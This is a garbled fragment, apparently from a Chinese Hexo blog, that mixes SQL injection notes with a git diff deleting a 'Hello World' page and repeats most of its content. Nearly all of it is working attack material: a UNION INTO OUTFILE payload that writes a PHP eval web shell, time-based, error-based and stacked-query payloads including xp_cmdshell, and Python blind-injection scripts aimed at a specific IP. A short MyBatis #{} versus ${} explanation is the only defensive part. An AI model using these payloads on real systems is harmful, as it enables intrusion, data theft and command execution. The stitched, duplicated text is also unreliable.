?id=1')) UNION SELECT 1,2,'<?php@eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
-
-
-
-
-
- 3 基于时间的盲注
-
if判断
-
1 2 3 4 5 6 7
# if表达式 如果a表达式为真，则执行b表达式，为假则执行c表达式 if(a, b, c) ?id=2' or if(1,sleep(2),1)--+ and (SELECT 7621 FROM (SELECT(SLEEP(5)))fjCb)--+ and (SELECT * FROM (SELECT(if(1,sleep(5),1)))aaa)# AND (SELECT 7684 FROM (SELECT(SLEEP(5)))mRcs)
# 数据库数量 admin' AND GTID_SUBSET(CONCAT(0x716b7a7071,(SELECT IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x71627a7671),8132)-- gqgS
# CAST 转换数据类型 CAST(COUNT(schema_name) AS NCHAR) 将COUNT(schema_name)转换为NCHAR型
-
-
-
-
floor(rand(0)*2)
-
1 2 3 4 5
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ ?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ ?sort=1'and (selectcount(*) from information_schema.columns groupby concat(0x3a,0x3a,(selectuser()),0x3a,0x3a,floor(rand()*2)))--+
-
-
double数值类型超出范围进行报错注入
-
1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
-
-
bigint溢出
-
1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
-
-
利用数据的重复性
-
1
?id=1' union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
# 新建一个表 select*from users where id=1;createtable test like users; show tabkes; # 删除上面新建的test表 select*from users where id=1;droptable test; # 查询数据 select*from users where id=1;select1,2,3; # 加载文件 select*from users where id=1;select load_file('c:/tmpupbbn.php'); # 修改数据 select*from users where id=1;insertinto users(id,username,password) values('100','new','new');
-
-
-
-
sqlserver
-
1 2 3 4 5 6 7 8 9 10
# 增加数据表 select*from test;createtable sc3(ss CHAR(8)); # 删除数据表 select*from test;droptable sc3; # 查询数据 select1,2,3;select*from test; # 修改数据 select*from test;update test set name='test'where id=3; # 存储过程的执行 select*from test where id=1;exec master..xp_cmdshell 'ipconfig'
select*from users where id=8E0unionselect1,2,3,4,5,6,7,8,9,0 select*from users where id=8.0unionselect1,2,3,4,5,6,7,8,9,0 select*from users where id=\Nunion select1,2,3,4,5,6,7,8,9,0
for char in sql_char: res = requests.get("http://127.0.0.1/get.php?query="+char+"&submit2=sbumit") if'Illegal Char'in res.text: print("该字符是非法字符: {0}".format(char)) else: print("通过: {0}".format(char))
mysql> set @@global.max_prepared_stmt_count=1; Query OK, 0 rows affected (0.00 sec) mysql> prepare sel from 'select * from t'; ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap"> select id, username, password, role from user where username = #{username,jdbcType=VARCHAR} and password = #{password,jdbcType=VARCHAR} </select>
-
-
-
-
1 2 3 4 5 6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap"> select id, username, password, role from user where username = ${username,jdbcType=VARCHAR} and password = ${password,jdbcType=VARCHAR} </select>
-
-
-
-
mybatis中的#和$的区别：
-
1、#将传入的数据都当成一个字符串，会对自动传入的数据加一个双引号。 如：where username=#{username}，如果传入的值是111,那么解析成sql时的值为where username=”111”, 如果传入的值是id，则解析成的sql为where username=”id”. 2、$将传入的数据直接显示生成在sql中。 如：where username=${username}，如果传入的值是111,那么解析成sql时的值为where username=111； 如果传入的值是;drop table user;，则解析成的sql为：select id, username, password, role from user where username=;drop table user; 3、#方式能够很大程度防止sql注入，$方式无法防止Sql注入。 4、$方式一般用于传入数据库对象，例如传入表名. 5、一般能用#的就别用$，若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止sql注入攻击。 6、在MyBatis中，“${xxx}”这样格式的参数会直接参与SQL编译，从而不能避免注入攻击。但涉及到动态表名和列名时，只能使用“${xxx}”这样的参数格式。所以，这样的参数需要我们在代码中手工进行处理来防止注入。** 【结论】在编写MyBatis的映射语句时，尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止SQL注入攻击。**
url = "http://124.156.121.112:28069/?id=-1'/**/" defdb(url):#爆库名 for i inrange(1,5): for j inrange(32,128): u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#" s = url+u print(s) r = requests.get(s) if'By Rudyard Kipling'in r.text: print(chr(j)) deftable(url):#爆表名 for i inrange(4): table_name='' for j inrange(1,6): for k inrange(48,128): u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#" s = url+u print(s) r = requests.get(s) if'By Rudyard Kipling'in r.text: table_name+=chr(k) print(table_name)
for i inrange(1,45): print(i) for j inrange(31,128): #爆表名 flag payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #爆字段名 flag #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #读取flag #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
for i inrange(1,45): print(i) for j inrange(31,128): #爆表名 flag #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #爆字段名 flag #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #读取flag payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
\ No newline at end of file
diff --git a/2021/12/01/hello-world/index.html b/2021/12/01/hello-world/index.html
deleted file mode 100644
index 8229108..0000000
--- a/2021/12/01/hello-world/index.html
+++ /dev/null
@@ -1,68 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-Hello World | Hexo
Hexo
Hello World
Created2021-12-01Updated2021-12-01
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
?id=1')) UNION SELECT 1,2,'<?php@eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
-
-
-
-
-
- 3 基于时间的盲注
-
if判断
-
1 2 3 4 5 6 7
# if表达式 如果a表达式为真，则执行b表达式，为假则执行c表达式 if(a, b, c) ?id=2' or if(1,sleep(2),1)--+ and (SELECT 7621 FROM (SELECT(SLEEP(5)))fjCb)--+ and (SELECT * FROM (SELECT(if(1,sleep(5),1)))aaa)# AND (SELECT 7684 FROM (SELECT(SLEEP(5)))mRcs)
# 数据库数量 admin' AND GTID_SUBSET(CONCAT(0x716b7a7071,(SELECT IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x71627a7671),8132)-- gqgS
# CAST 转换数据类型 CAST(COUNT(schema_name) AS NCHAR) 将COUNT(schema_name)转换为NCHAR型
-
-
-
-
floor(rand(0)*2)
-
1 2 3 4 5
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ ?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ ?sort=1'and (selectcount(*) from information_schema.columns groupby concat(0x3a,0x3a,(selectuser()),0x3a,0x3a,floor(rand()*2)))--+
-
-
double数值类型超出范围进行报错注入
-
1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
-
-
bigint溢出
-
1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
-
-
利用数据的重复性
-
1
?id=1' union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
# 新建一个表 select*from users where id=1;createtable test like users; show tabkes; # 删除上面新建的test表 select*from users where id=1;droptable test; # 查询数据 select*from users where id=1;select1,2,3; # 加载文件 select*from users where id=1;select load_file('c:/tmpupbbn.php'); # 修改数据 select*from users where id=1;insertinto users(id,username,password) values('100','new','new');
-
-
-
-
sqlserver
-
1 2 3 4 5 6 7 8 9 10
# 增加数据表 select*from test;createtable sc3(ss CHAR(8)); # 删除数据表 select*from test;droptable sc3; # 查询数据 select1,2,3;select*from test; # 修改数据 select*from test;update test set name='test'where id=3; # 存储过程的执行 select*from test where id=1;exec master..xp_cmdshell 'ipconfig'
select*from users where id=8E0unionselect1,2,3,4,5,6,7,8,9,0 select*from users where id=8.0unionselect1,2,3,4,5,6,7,8,9,0 select*from users where id=\Nunion select1,2,3,4,5,6,7,8,9,0
for char in sql_char: res = requests.get("http://127.0.0.1/get.php?query="+char+"&submit2=sbumit") if'Illegal Char'in res.text: print("该字符是非法字符: {0}".format(char)) else: print("通过: {0}".format(char))
mysql> set @@global.max_prepared_stmt_count=1; Query OK, 0 rows affected (0.00 sec) mysql> prepare sel from 'select * from t'; ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap"> select id, username, password, role from user where username = #{username,jdbcType=VARCHAR} and password = #{password,jdbcType=VARCHAR} </select>
-
-
-
-
1 2 3 4 5 6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap"> select id, username, password, role from user where username = ${username,jdbcType=VARCHAR} and password = ${password,jdbcType=VARCHAR} </select>
-
-
-
-
mybatis中的#和$的区别：
-
1、#将传入的数据都当成一个字符串，会对自动传入的数据加一个双引号。 如：where username=#{username}，如果传入的值是111,那么解析成sql时的值为where username=”111”, 如果传入的值是id，则解析成的sql为where username=”id”. 2、$将传入的数据直接显示生成在sql中。 如：where username=${username}，如果传入的值是111,那么解析成sql时的值为where username=111； 如果传入的值是;drop table user;，则解析成的sql为：select id, username, password, role from user where username=;drop table user; 3、#方式能够很大程度防止sql注入，$方式无法防止Sql注入。 4、$方式一般用于传入数据库对象，例如传入表名. 5、一般能用#的就别用$，若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止sql注入攻击。 6、在MyBatis中，“${xxx}”这样格式的参数会直接参与SQL编译，从而不能避免注入攻击。但涉及到动态表名和列名时，只能使用“${xxx}”这样的参数格式。所以，这样的参数需要我们在代码中手工进行处理来防止注入。** 【结论】在编写MyBatis的映射语句时，尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止SQL注入攻击。**
url = "http://124.156.121.112:28069/?id=-1'/**/" defdb(url):#爆库名 for i inrange(1,5): for j inrange(32,128): u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#" s = url+u print(s) r = requests.get(s) if'By Rudyard Kipling'in r.text: print(chr(j)) deftable(url):#爆表名 for i inrange(4): table_name='' for j inrange(1,6): for k inrange(48,128): u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#" s = url+u print(s) r = requests.get(s) if'By Rudyard Kipling'in r.text: table_name+=chr(k) print(table_name)
for i inrange(1,45): print(i) for j inrange(31,128): #爆表名 flag payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #爆字段名 flag #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #读取flag #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
for i inrange(1,45): print(i) for j inrange(31,128): #爆表名 flag #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #爆字段名 flag #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #读取flag payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
